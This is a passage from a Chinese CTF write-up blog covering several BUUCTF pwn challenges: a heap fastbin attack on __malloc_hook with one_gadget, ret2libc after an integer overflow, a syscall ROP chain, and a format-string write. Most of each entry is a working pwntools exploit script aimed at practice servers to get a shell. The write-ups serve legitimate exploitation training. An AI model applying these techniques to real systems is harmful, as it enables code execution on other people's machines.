&lt;=chunk4</span><br><span class="line">0x557ac06f3090:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x557ac06f30a0:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x557ac06f30b0:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x557ac06f30c0:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x557ac06f30d0:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x557ac06f30e0:	0x0000000000000000	0x0000000000020f21</span><br><span class="line">0x557ac06f30f0:	0x0000000000000000	0x0000000000000000</span><br></pre></td></tr></table></figure>

<p>接下来要malloc回chunk4，但是malloc fastbin有检查，chunksize必须和fastbin_index匹配。</p>
<p>所以覆盖chunk4的size为fastbin大小</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">allocate(<span class="number">0x10</span>)allocate(<span class="number">0x10</span>)payload = p64(<span class="number">0</span>) * 3payload += p64(<span class="number">0x91</span>)fill(<span class="number">3</span>,payload)allocate(<span class="number">0x80</span>)free(<span class="number">4</span>)libc_base = u64(dump(<span class="number">2</span>)[:<span class="number">8</span>].strip().ljust(<span class="number">8</span>, <span class="string">&quot;\x00&quot;</span>))-<span class="number">0x3c4b78</span></span><br></pre></td></tr></table></figure>

<blockquote>
<p>  ​		unsortbin 有一个特性，就是如果 usortbin 只有一个 bin ，它的 fd 和 bk 指针会指向同一个地址(unsorted bin 链表的头部），这个地址为 main_arena + 0x58 ，而且 main_arena 又相对 libc 固定偏移 0x3c4b20 ，所以得到这个fd的值，然后减去0x58再减去main_arena相对于libc的固定偏移，即得到libc的基地址。所以我们需要把 chunk 改成大于 fastbin 的大小，这样 free 后能进入 unsortbin 让我们能够泄露 libc 基址。<br>    我们的目标是覆盖 __malloc_hook 函数，这样我们调用 malloc 时就相当于调用我们写入的内容</p>
<p>  ​		<strong>malloc_hook 是一个 libc 上的函数指针，调用 malloc 时如果该指针不为空则执行它指向的函数，可以通过写</strong> malloc_hook 来 getshell。</p>
</blockquote>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; x/32xg (long long)(&amp;main_arena)-0x400x7f12e66c5ae0 &lt;_IO_wide_data_0+288&gt;:	0x0000000000000000	0x00000000000000000x7f12e66c5af0 &lt;_IO_wide_data_0+304&gt;:	0x00007f12e66c4260	0x00000000000000000x7f12e66c5b00 &lt;__memalign_hook&gt;:	0x00007f12e6386ea0	0x00007f12e6386a700x7f12e66c5b10 &lt;__malloc_hook&gt;:	0x0000000000000000	0x00000000000000000x7f12e66c5b20 &lt;main_arena&gt;:	0x0000000000000000	0x0000557ac06f30400x7f12e66c5b30 &lt;main_arena+16&gt;:	0x0000000000000000	0x00000000000000000x7f12e66c5b40 &lt;main_arena+32&gt;:	0x0000000000000000	0x00000000000000000x7f12e66c5b50 &lt;main_arena+48&gt;:	0x0000000000000000	0x00000000000000000x7f12e66c5b60 &lt;main_arena+64&gt;:	0x0000000000000000	0x00000000000000000x7f12e66c5b70 &lt;main_arena+80&gt;:	0x0000000000000000	0x0000557ac06f30e00x7f12e66c5b80 &lt;main_arena+96&gt;:	0x0000000000000000	0x00007f12e66c5b780x7f12e66c5b90 &lt;main_arena+112&gt;:	0x00007f12e66c5b78	0x00007f12e66c5b880x7f12e66c5ba0 &lt;main_arena+128&gt;:	0x00007f12e66c5b88	0x00007f12e66c5b980x7f12e66c5bb0 &lt;main_arena+144&gt;:	0x00007f12e66c5b98	0x00007f12e66c5ba80x7f12e66c5bc0 &lt;main_arena+160&gt;:	0x00007f12e66c5ba8	0x00007f12e66c5bb80x7f12e66c5bd0 &lt;main_arena+176&gt;:	0x00007f12e66c5bb8	0x00007f12e66c5bc8</span><br></pre></td></tr></table></figure>

<p>同样的，这里我们也要绕过 malloc 的安全检查，chunksize 必须与 fastbin_index 相对应，初看 __malloc_hook 附近没有合适的 chunksize，这里需要巧妙的偏移一下。</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; x/32xg (long long)(&amp;main_arena)-0x40+0xd</span><br><span class="line">0x7f12e66c5aed &lt;_IO_wide_data_0+301&gt;:	0x12e66c4260000000	0x000000000000007f &lt;=fake chunk</span><br><span class="line">0x7f12e66c5afd:	0x12e6386ea0000000	0x12e6386a7000007f</span><br><span class="line">0x7f12e66c5b0d &lt;__realloc_hook+5&gt;:	0x000000000000007f	0x0000000000000000</span><br><span class="line">0x7f12e66c5b1d:	0x0000000000000000	0x7ac06f3040000000</span><br><span class="line">0x7f12e66c5b2d &lt;main_arena+13&gt;:	0x0000000000000055	0x0000000000000000</span><br><span class="line">0x7f12e66c5b3d &lt;main_arena+29&gt;:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x7f12e66c5b4d &lt;main_arena+45&gt;:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x7f12e66c5b5d &lt;main_arena+61&gt;:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x7f12e66c5b6d &lt;main_arena+77&gt;:	0x0000000000000000	0x7ac06f30e0000000</span><br><span class="line">0x7f12e66c5b7d &lt;main_arena+93&gt;:	0x0000000000000055	0x12e66c5b78000000</span><br><span class="line">0x7f12e66c5b8d &lt;main_arena+109&gt;:	0x12e66c5b7800007f	0x12e66c5b8800007f</span><br><span class="line">0x7f12e66c5b9d &lt;main_arena+125&gt;:	0x12e66c5b8800007f	0x12e66c5b9800007f</span><br><span class="line">0x7f12e66c5bad &lt;main_arena+141&gt;:	0x12e66c5b9800007f	0x12e66c5ba800007f</span><br><span class="line">0x7f12e66c5bbd &lt;main_arena+157&gt;:	0x12e66c5ba800007f	0x12e66c5bb800007f</span><br><span class="line">0x7f12e66c5bcd &lt;main_arena+173&gt;:	0x12e66c5bb800007f	0x12e66c5bc800007f</span><br><span class="line">0x7f12e66c5bdd &lt;main_arena+189&gt;:	0x12e66c5bc800007f	0x12e66c5bd800007f</span><br></pre></td></tr></table></figure>

<p>在0x7f12e66c5aed，这样就可以构造出一个index为5的fastbin，这样就可以改写__malloc_hook了。</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">allocate(<span class="number">0x60</span>)</span><br><span class="line">free(<span class="number">4</span>)</span><br><span class="line">payload = p64(libc_base+<span class="number">0x3c4aed</span>)</span><br><span class="line">fill(<span class="number">2</span>, payload)</span><br></pre></td></tr></table></figure>

<p> 首先把 chunk 4 malloc 回来，这次 malloc 的大小在 fastbin 之内，然后把 chunk 4 的内容改为我们下一个要构造块的地址（chunk 4 已经被 free 掉，所以无法用 fill(4) 写入，由于我们刚刚把 chunk 2 的 fd 指针改为 chunk 4 的地址，所以第一次 malloc(0x10) 的时候是分配的原来 chunk 2 的块给 index 1，第二次 malloc(0x10) 的时候就会分配 chunk 4 的块给 index 2，也就是说 index 2 与 index 4 的内容都是 chunk 4）</p>
<p>这里介绍一个神奇的工具 one gadget，只用一个 gadget 地址就可以成功调用 execve(“&#x2F;bin&#x2F;sh”)。</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">gwt@ubuntu:~/Desktop$ one_gadget libc-x64-2.23.so </span><br><span class="line">[OneGadget] </span><br><span class="line">Checking for new versions of OneGadget            </span><br><span class="line">To disable this functionality, do            </span><br><span class="line">$ echo never &gt; /home/gwt/.cache/one_gadget/update[OneGadget] </span><br><span class="line">A newer version of OneGadget is available (1.6.2 --&gt; 1.7.4).            </span><br><span class="line">Update with: $ gem update one_gadget &amp;&amp; gem cleanup one_gadget0x45216	</span><br><span class="line">execve(&quot;/bin/sh&quot;, rsp+0x30, environ)constraints:  rax == NULL0x4526a	</span><br><span class="line">execve(&quot;/bin/sh&quot;, rsp+0x30, environ)constraints:  [rsp+0x30] == NULL0xf02a4	</span><br><span class="line">execve(&quot;/bin/sh&quot;, rsp+0x50, environ)constraints:  [rsp+0x50] == NULL0xf1147	</span><br><span class="line">execve(&quot;/bin/sh&quot;, rsp+0x70, environ)constraints:  [rsp+0x70] == NULL</span><br></pre></td></tr></table></figure>

<p>在 __malloc_hook 地址处写入 one_gadget ，这样再次 allocate 就可以调用 one_gadget 拿 shell</p>
<p>EXP:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> LibcSearcher <span class="keyword">import</span> *</span><br><span class="line">context(log_level=<span class="string">&#x27;DEBUG&#x27;</span>)</span><br><span class="line"><span class="comment">#io = process(&#x27;./babyheap_0ctf_2017&#x27;)</span></span><br><span class="line">io = remote(<span class="string">&quot;node3.buuoj.cn&quot;</span>, <span class="number">28982</span>)</span><br><span class="line">libc = ELF(<span class="string">&quot;libc-x64-2.23.so&quot;</span>)</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">allocate</span>(<span class="params">size</span>):</span></span><br><span class="line">	io.recvuntil(<span class="string">&quot;Command: &quot;</span>)</span><br><span class="line">	io.sendline(<span class="string">&quot;1&quot;</span>)<span class="comment">#allocate</span></span><br><span class="line">	io.recvuntil(<span class="string">&quot;Size: &quot;</span>)</span><br><span class="line">	io.sendline(<span class="built_in">str</span>(size))</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">fill</span>(<span class="params">index,content</span>):</span></span><br><span class="line">	io.recvuntil(<span class="string">&#x27;Command: &#x27;</span>)</span><br><span class="line">	io.sendline(<span class="string">&#x27;2&#x27;</span>)</span><br><span class="line">	io.recvuntil(<span class="string">&#x27;Index: &#x27;</span>)</span><br><span class="line">	io.sendline(<span class="built_in">str</span>(index))</span><br><span class="line">	io.recvuntil(<span class="string">&#x27;Size: &#x27;</span>)</span><br><span class="line">	io.sendline(<span class="built_in">str</span>(<span class="built_in">len</span>(content)))</span><br><span class="line">	io.recvuntil(<span class="string">&#x27;Content: &#x27;</span>)</span><br><span class="line">	io.send(content)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">free</span>(<span class="params">index</span>):</span></span><br><span class="line">	io.recvuntil(<span class="string">&quot;Command: &quot;</span>)</span><br><span class="line">	io.sendline(<span class="string">&quot;3&quot;</span>)<span class="comment">#free</span></span><br><span class="line">	io.recvuntil(<span class="string">&quot;Index: &quot;</span>)</span><br><span class="line">	io.sendline(<span class="built_in">str</span>(index))</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">dump</span>(<span class="params">index</span>):</span></span><br><span class="line">	io.recvuntil(<span class="string">&quot;Command: &quot;</span>)</span><br><span class="line">	io.sendline(<span class="string">&quot;4&quot;</span>)</span><br><span class="line">	io.recvuntil(<span class="string">&quot;Index: &quot;</span>)</span><br><span class="line">	io.sendline(<span class="built_in">str</span>(index))</span><br><span class="line"></span><br><span class="line">allocate(<span class="number">0x10</span>)</span><br><span class="line">allocate(<span class="number">0x10</span>)</span><br><span class="line">allocate(<span class="number">0x10</span>)</span><br><span class="line">allocate(<span class="number">0x10</span>)</span><br><span class="line">allocate(<span class="number">0x80</span>)</span><br><span class="line">free(<span class="number">1</span>)</span><br><span class="line">free(<span class="number">2</span>)</span><br><span class="line"></span><br><span class="line">payload = p64(<span class="number">0</span>) * <span class="number">3</span></span><br><span class="line">payload += p64(<span class="number">0x21</span>)</span><br><span class="line">payload += p64(<span class="number">0</span>) * <span class="number">3</span></span><br><span class="line">payload += p64(<span class="number">0x21</span>)</span><br><span class="line">payload += p8(<span class="number">0x80</span>)</span><br><span class="line"></span><br><span class="line">fill(<span class="number">0</span>,payload)</span><br><span class="line">payload = p64(<span class="number">0</span>) * <span class="number">3</span></span><br><span class="line">payload += p64(<span class="number">0x21</span>)</span><br><span class="line">fill(<span class="number">3</span>,payload)</span><br><span class="line">allocate(<span class="number">0x10</span>)</span><br><span class="line">allocate(<span class="number">0x10</span>)</span><br><span class="line"></span><br><span class="line">payload = p64(<span class="number">0</span>) * <span class="number">3</span></span><br><span class="line">payload += p64(<span class="number">0x91</span>)</span><br><span class="line"></span><br><span class="line">fill(<span class="number">3</span>,payload)</span><br><span class="line">allocate(<span class="number">0x80</span>)</span><br><span class="line">free(<span class="number">4</span>)</span><br><span class="line"></span><br><span class="line">dump(<span class="number">2</span>)</span><br><span class="line">io.recvuntil(<span class="string">&quot;Content: \n&quot;</span>)</span><br><span class="line"></span><br><span class="line">libc_base = u64(io.recv(<span class="number">8</span>)) - <span class="number">0x3c4b78</span></span><br><span class="line">malloc_hook = libc_base + libc.symbols[<span class="string">&#x27;__malloc_hook&#x27;</span>]</span><br><span class="line"></span><br><span class="line">allocate(<span class="number">0x60</span>)</span><br><span class="line">free(<span class="number">4</span>)</span><br><span class="line">payload = p64(malloc_hook - <span class="number">35</span>)</span><br><span class="line">fill(<span class="number">2</span>, payload)</span><br><span class="line"> </span><br><span class="line">allocate(<span class="number">0x60</span>)</span><br><span class="line">allocate(<span class="number">0x60</span>)</span><br><span class="line"> </span><br><span class="line">payload = p8(<span class="number">0</span>)*<span class="number">3</span></span><br><span class="line">payload += p64(<span class="number">0</span>)*<span class="number">2</span></span><br><span class="line">payload += p64(libc_base+<span class="number">0x4526a</span>)</span><br><span class="line">fill(<span class="number">6</span>, payload)</span><br><span class="line"> </span><br><span class="line">allocate(<span class="number">50</span>)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>



<h2 id="0x17-pwn2-sctf-2016"><a href="#0x17-pwn2-sctf-2016" class="headerlink" title="0x17.pwn2_sctf_2016"></a>0x17.pwn2_sctf_2016</h2><p>get_n函数的第二个参数是unsigned int，可以整数溢出。</p>
<p>接收了两次you said，第一次是程序本身，第二次是自己的format。</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> LibcSearcher <span class="keyword">import</span> *</span><br><span class="line">context(log_level=<span class="string">&#x27;DEBUG&#x27;</span>)</span><br><span class="line">io = remote(<span class="string">&quot;node3.buuoj.cn&quot;</span>,<span class="number">25915</span>)</span><br><span class="line"><span class="comment">#io = process(&quot;./pwn2_sctf_2016&quot;)</span></span><br><span class="line">elf = ELF(<span class="string">&quot;./pwn2_sctf_2016&quot;</span>)</span><br><span class="line">libc = ELF(<span class="string">&quot;./libc-2.23.so&quot;</span>)</span><br><span class="line">io.recv()</span><br><span class="line">printf_plt = elf.plt[<span class="string">&#x27;printf&#x27;</span>]</span><br><span class="line">vuln_addr = <span class="number">0x0804852F</span></span><br><span class="line">fmt_addr = <span class="number">0x080486F8</span></span><br><span class="line">printf_got = elf.got[<span class="string">&#x27;printf&#x27;</span>]</span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span>*(<span class="number">0x2c</span>+<span class="number">4</span>)+p32(printf_plt) +p32(vuln_addr)+p32(fmt_addr)+p32(printf_got)</span><br><span class="line"></span><br><span class="line">io.sendline(<span class="string">&quot;-1&quot;</span>)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.recvuntil(<span class="string">&quot;You said: &quot;</span>)</span><br><span class="line">io.recvuntil(<span class="string">&quot;You said: &quot;</span>)</span><br><span class="line">printf_addr = u32(io.recv(<span class="number">4</span>))</span><br><span class="line"><span class="built_in">print</span> <span class="built_in">hex</span>(printf_addr)</span><br><span class="line"></span><br><span class="line">libc_base = printf_addr - libc.sym[<span class="string">&#x27;printf&#x27;</span>]</span><br><span class="line"></span><br><span class="line">system_addr = libc_base + libc.sym[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line">bin_sh = libc_base + <span class="built_in">next</span>(libc.search(<span class="string">&#x27;/bin/sh&#x27;</span>))</span><br><span class="line">io.recv()</span><br><span class="line">io.sendline(<span class="string">&quot;-1&quot;</span>)</span><br><span class="line"></span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span>*(<span class="number">0x2c</span>+<span class="number">4</span>) + p32(system_addr)+p32(<span class="number">0xdeadbeef</span>)+p32(bin_sh)</span><br><span class="line">io.sendline(payload)</span><br><span class="line"></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>



<h2 id="0x18-ciscn-2019-s-3"><a href="#0x18-ciscn-2019-s-3" class="headerlink" title="0x18.ciscn_2019_s_3"></a>0x18.ciscn_2019_s_3</h2><p>　　32位与64位 系统调用的区别：</p>
<blockquote>
<ol>
<li><p>传参方式不同</p>
</li>
<li><p>系统调用号 不同</p>
</li>
<li><p>调用方式 不同</p>
</li>
</ol>
</blockquote>
<p>　　32位：</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">传参方式：首先将系统调用号 传入 eax，然后将参数 从左到右 依次存入 ebx，ecx，edx寄存器中，返回值存在eax寄存器</span><br><span class="line"></span><br><span class="line">调用号：sys_read 的调用号 为 3 sys_write 的调用号 为 4</span><br><span class="line"></span><br><span class="line">调用方式: 使用 int 80h 中断进行系统调用</span><br></pre></td></tr></table></figure>

<p>　　64位：</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">传参方式：首先将系统调用号 传入 rax，然后将参数 从左到右 依次存入 rdi，rsi，rdx寄存器中，返回值存在rax寄存器</span><br><span class="line"></span><br><span class="line">调用号：sys_read 的调用号 为 0 sys_write 的调用号 为 1</span><br><span class="line"></span><br><span class="line">stub_execve 的调用号 为 59 stub_rt_sigreturn 的调用号 为 15</span><br><span class="line"></span><br><span class="line">调用方式: 使用 syscall 进行系统调用</span><br></pre></td></tr></table></figure>

<p>调用：$rax==59，$rdi==“&#x2F;bin&#x2F;sh”，$rsi==0，$rdx==0</p>
<p>首先往栈上写0x400，然后从栈上读0x30</p>
<p>经过调试发现输入后返回的是写入栈上的位置。</p>
<p><img src="/2021/06/01/BUU-PWN-0x10-0x1F/image-20210511160829045.png" alt="image-20210511160829045"></p>
<p>将0x00007ffe7d621e58减去0x00007ffe7d621d40得到0x118（固定）</p>
<p>所以经过recv的地址减去0x118就是写入&#x2F;bin&#x2F;sh的地址</p>
<p>有个gadgets函数：</p>
<p><img src="/2021/06/01/BUU-PWN-0x10-0x1F/image-20210511161319133.png" alt="image-20210511161319133"></p>
<p>其中的0x3B就是59，系统调用，</p>
<blockquote>
<p>hex(0x00007ffe7d621e58 - 0x7ffe7d621d40)<br>‘0x118’</p>
</blockquote>
<p><img src="/2021/06/01/BUU-PWN-0x10-0x1F/image-20210511162201775.png" alt="image-20210511162201775"></p>
<p>r12是将要执行的地址。</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">io = remote(<span class="string">&#x27;node3.buuoj.cn&#x27;</span>,<span class="number">26613</span>)</span><br><span class="line"><span class="comment">#io = process(&quot;./ciscn_s_3&quot;)</span></span><br><span class="line">vulun_addr = <span class="number">0x4004ED</span></span><br><span class="line">mov_rax = <span class="number">0x4004E2</span></span><br><span class="line">pop_rbx_rbp_r12= <span class="number">0x40059a</span></span><br><span class="line">mov_call = <span class="number">0x400580</span></span><br><span class="line">sys_call = <span class="number">0x400517</span></span><br><span class="line">pop_rdi = <span class="number">0x04005a3</span></span><br><span class="line"></span><br><span class="line">payload = <span class="string">b&quot;/bin/sh\x00&quot;</span>*<span class="number">2</span> + p64(vulun_addr)</span><br><span class="line">io.send(payload)</span><br><span class="line">io.recv(<span class="number">0x20</span>)</span><br><span class="line"></span><br><span class="line">bin_sh_add = u64(io.recv(<span class="number">8</span>))-<span class="number">0x118</span></span><br><span class="line">payload = <span class="string">b&quot;/bin/sh\x00&quot;</span>*<span class="number">2</span> + p64(pop_rbx_rbp_r12)+p64(<span class="number">0</span>)*<span class="number">2</span>+ p64(bin_sh_add+<span class="number">0x50</span>) + p64(<span class="number">0</span>)*<span class="number">3</span></span><br><span class="line"></span><br><span class="line">payload +=  p64(mov_call)+p64(mov_rax) +p64(pop_rdi)+ p64(bin_sh_add) + p64(sys_call)</span><br><span class="line"></span><br><span class="line">io.sendline(payload)</span><br><span class="line"></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>

<h2 id="0x19-HarekazeCTF2019-baby-rop2"><a href="#0x19-HarekazeCTF2019-baby-rop2" class="headerlink" title="0x19.[HarekazeCTF2019]baby_rop2"></a>0x19.[HarekazeCTF2019]baby_rop2</h2><p>printf泄露地址，ROP构造system &#x2F;bin&#x2F;sh。</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> LibcSearcher <span class="keyword">import</span> *</span><br><span class="line">context(log_level=<span class="string">&#x27;DEBUG&#x27;</span>)</span><br><span class="line"><span class="comment">#io = process(&quot;./babyrop2&quot;)</span></span><br><span class="line">io = remote(<span class="string">&quot;node3.buuoj.cn&quot;</span>,<span class="number">26898</span>)</span><br><span class="line">elf = ELF(<span class="string">&quot;./babyrop2&quot;</span>)</span><br><span class="line">libc = ELF(<span class="string">&quot;libc.so.6&quot;</span>)</span><br><span class="line">printf_plt = elf.plt[<span class="string">&#x27;printf&#x27;</span>]</span><br><span class="line">read_got = elf.got[<span class="string">&#x27;read&#x27;</span>]</span><br><span class="line">main = elf.sym[<span class="string">&#x27;main&#x27;</span>]</span><br><span class="line">fmt_str = <span class="number">0x00400770</span></span><br><span class="line">pop_rdi_ret = <span class="number">0x0400733</span></span><br><span class="line">pop_rsi_r15_ret = <span class="number">0x400731</span></span><br><span class="line">io.recv()</span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span>*<span class="number">0x28</span> + p64(pop_rdi_ret)+ p64(fmt_str) +p64(pop_rsi_r15_ret) </span><br><span class="line">payload +=  p64(read_got)+p64(<span class="number">0</span>) + p64(printf_plt)+ p64(main) </span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.recvuntil(<span class="string">&quot;again, &quot;</span>)</span><br><span class="line">io.recvuntil(<span class="string">&quot;again, &quot;</span>)</span><br><span class="line">read_add  = u64(io.recv(<span class="number">6</span>).ljust(<span class="number">8</span>,<span class="string">&#x27;\x00&#x27;</span>))</span><br><span class="line"><span class="built_in">print</span> <span class="built_in">hex</span>(read_add ) </span><br><span class="line"><span class="comment">#libc = LibcSearcher(&#x27;read&#x27;,read_add)</span></span><br><span class="line">base = read_add - libc.sym[<span class="string">&#x27;read&#x27;</span>]</span><br><span class="line">system_add = base + libc.sym[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line">bin_sh = base + libc.search(<span class="string">&#x27;/bin/sh&#x27;</span>).<span class="built_in">next</span>()</span><br><span class="line">io.recv()</span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span>*<span class="number">0x28</span> +p64(pop_rdi_ret)+ p64(bin_sh) + p64(system_add)+p64(main)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>



<h2 id="0x1A-jarvisoj-fm"><a href="#0x1A-jarvisoj-fm" class="headerlink" title="0x1A.jarvisoj_fm"></a>0x1A.jarvisoj_fm</h2><p>格式化字符串。是第11个。</p>
<p>p32(x_addr) + “%11$n” 意思是将x_addr写入11的位置。</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(log_level=<span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line"><span class="comment">#io = process(&quot;./fm&quot;)</span></span><br><span class="line">io = remote(<span class="string">&quot;node3.buuoj.cn&quot;</span>,<span class="number">26157</span>)</span><br><span class="line">x_addr = <span class="number">0x0804A02C</span></span><br><span class="line">payload = p32(x_addr) + <span class="string">&quot;%11$n&quot;</span></span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>

<h2 id="0x1B-jarvisoj-tell-me-something"><a href="#0x1B-jarvisoj-tell-me-something" class="headerlink" title="0x1B.jarvisoj_tell_me_something"></a>0x1B.jarvisoj_tell_me_something</h2><p>简单的ret2text</p>
